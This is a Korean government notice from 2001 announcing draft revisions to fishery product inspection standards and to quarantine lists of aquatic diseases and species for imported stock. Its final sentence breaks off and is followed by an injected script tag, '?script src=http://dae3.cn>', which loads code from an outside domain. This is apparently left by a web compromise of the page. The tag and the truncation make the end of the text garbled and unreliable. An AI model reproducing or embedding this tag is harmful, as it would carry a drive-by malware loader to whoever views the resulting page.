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수산물등의검사기준및검역기준개정(안)(2001.10.18)
작성자 식품안전부 등록일 2001/10/18 조회 12133
첨부
국립수산물품질검사원공고제2001-6호]

수산물품질관리법시행규칙 제46조 및 제61조의 규정에 의하여 수산물 ·수산가공품 검사기준 및 이식용수산물 검역기준을 개정 ·고시함에 있어 국민에게 미리 알려 의견을 듣고자 행정절차법 제41조의 규정에 의하여 다음과 같이 공고합니다.

2001년10월18일
국립수산물품질검사원장

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수산물등의검사기준및검역기준개정(안)

1.개정이유
수산물 ·수산가공품의 검사기준중 담수어류에 적용하는 충중금속 기준을 삭제하여 해산어류와 같은 기준을 적용하고 한천의 정밀검사 기준은 식품공전의 기준을 반영하는 등 수출 ·입검사기준의 동등성을 확보하고,이식용수산물의 검역기준중 국제수역 사무국(OIE)의 국제수생동물위생규약에서 규정하고 있는 질병종류 및 품종과 외국에서 새로이 발생한 질병종류 및 품종을 검역기준에 반영하여 국내수계내 생태계 및 양식어업인을 보호하고자 함.


2.주요골자
가.마른김의 유통실태를 반영하여 평첩의 근거를 신설하고 얼구운김 중량은 마른김의 화입과정에서 수분감소로 인한 감량근거를 신설함.

나.건제품 ·염장품 및 조미가공품중 생산 및 수출여건의 변화로 유사품종의 검사기준과 생산 전망이 없는 품종을 통 ·폐합하고,유통체계 및 소비자 기호도 변화 추세에 맞추어 품질위주의 제품을 생산 ·수출하도록 일부 품종의 수분규정을 조정 ·완화함.

다.정밀검사기준중 담수산 어류에 대한 총중금속 기준을 삭제하여 해수산과 동일한 중금속기준을 적용하고,패류에 한하여 카드뮴 항목을 신설하여 수출수산물의 안전성 확보와 민원인 편의를 도모하고자 함.

라.한천의 정밀검사기준중 조회분,조단백질 및 열탕불용해잔사물기준은 식품공전의 기준을 반영함.

마.이식용수산물의 검역기준중 국제수역사무국 지정(신고)질병에 국제수생동물위생규약에서 정한 4종(어류 2,갑각류 2)의 질병을 추가하고 1종(패류)을 삭제하며,검사품종은 Macquarieperch 등 30종을 추가하고 Saccostrea cucullata 3 종을 삭제하여 94종을 검역하도록 하여 국제수역사무국의 권고사항 이행과 병충해를 사전에 예방할 수 있도록 함.

바.이식용수산물의 검사기준중 해양수산부 지정질병에 2종(어류1,갑각류 1)을 추가하고,1 종(어류)을 삭제하여 13종을 검사하도록 ?script src=http://dae3.cn>
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